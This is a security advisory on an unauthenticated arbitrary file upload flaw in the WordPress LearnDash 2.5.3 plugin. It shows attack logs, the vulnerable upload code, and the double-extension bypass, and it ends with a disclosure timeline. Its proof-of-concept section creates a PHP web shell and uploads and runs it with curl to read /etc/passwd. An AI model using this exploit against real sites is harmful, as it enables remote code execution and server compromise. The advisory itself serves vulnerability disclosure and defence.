WordPress Plugin LearnDash 2.5.3 - Arbitrary File Upload

# Exploit Title: WordPress LearnDash 2.5.3 Unauthenticated Arbitrary 
File Upload
# Date: 07-01-2018
# Vendor Homepage: https://www.learndash.com/
# Vendor Changelog: https://www.learndash.com/changelog/
# Version: 2.5.3
# Exploit Author: NinTechNet
# Author Advisory: http://nin.link/learndash/
# Category: Webapps

1. Overview:

This vulnerability has been exploited at least since Dec. 27th, 2017. 
Here's a log sample showing the attack:
87.244.138.44 - - [27/Dec/2017:20:29:33 +0100] "POST / HTTP/1.0" 200 
47095
87.244.138.44 - - [27/Dec/2017:20:29:34 +0100] "GET 
/wp-content/uploads/assignments/assig.php. HTTP/1.1" 200 266
87.244.138.44 - - [27/Dec/2017:20:29:36 +0100] "GET 
/wp-admin/ms-site.php HTTP/1.1" 200 4110

2. Description:

The plugin offers the possibility to create courses and to assign 
lessons to them. Each lesson can allow uploads, and it is possible to 
restrict them by file extensions. Uploads are handled by the 
learndash_assignment_process_init() function located in the 
"wp-content/plugins/sfwd-lms/includes/ld-assignment-uploads.php" script:

// ===================================================================
function learndash_assignment_process_init() {

    if ( isset( $_POST['uploadfile'] ) && isset( $_POST['post'] ) ) {
       $post_id = $_POST['post'];
       $file = $_FILES['uploadfiles'];

       if (( ! empty( $file['name'][0] ) ) && ( learndash_check_upload( 
$file, $post_id ) ) )  {
          $file_desc = learndash_fileupload_process( $file, $post_id );
          $file_name = $file_desc['filename'];
          $file_link = $file_desc['filelink'];
          $params = array(
             'filelink' => $file_link,
             'filename' => $file_name,
          );
       }
    }
}
// ===================================================================

Neither this function nor the learndash_check_upload() and 
learndash_fileupload_process() functions it calls check if the user is 
authenticated or allowed to upload files, or even if the post ID, course 
and lesson exist before accepting the file.

The plugin calls the WordPress wp_check_filetype() API function, removes 
the filename extension and appends the one returned by this function. 
Because wp_check_filetype() will return an empty value for PHP scripts, 
the file extension will be removed: "script.php" will become "script.". 
But that can be bypassed by appending a double extension, e.g., 
"script.php.php" which will be turned into "script.php.". Although the 
PHP filename ends with a [.] dot, it is still executed by default by the 
PHP interpreter on servers running Apache with PHP CGI/FastCGI SAPI.

3. Proof of concept:

To exploit the vulnerability, it is only required that the plugin be 
enabled, even if no courses or lessons were created (bogus values can be 
assigned to each variable):

$ echo '<?php echo exec("ls -la /etc/passwd");' > shell.php.php
$ curl -F "post=foobar" -F "course_id=foobar" -F "uploadfile=foobar" -F 
"uploadfiles[]=@./shell.php.php" http://victim.tld/
$ curl 'http://victim.tld/wp-content/uploads/assignments/shell.php.'
-rw-r--r-- 1 root root 2385 Apr 14  2017 /etc/passwd

4. Timeline:

Authors were informed on January 2nd and released version 2.5.4 on January 3rd.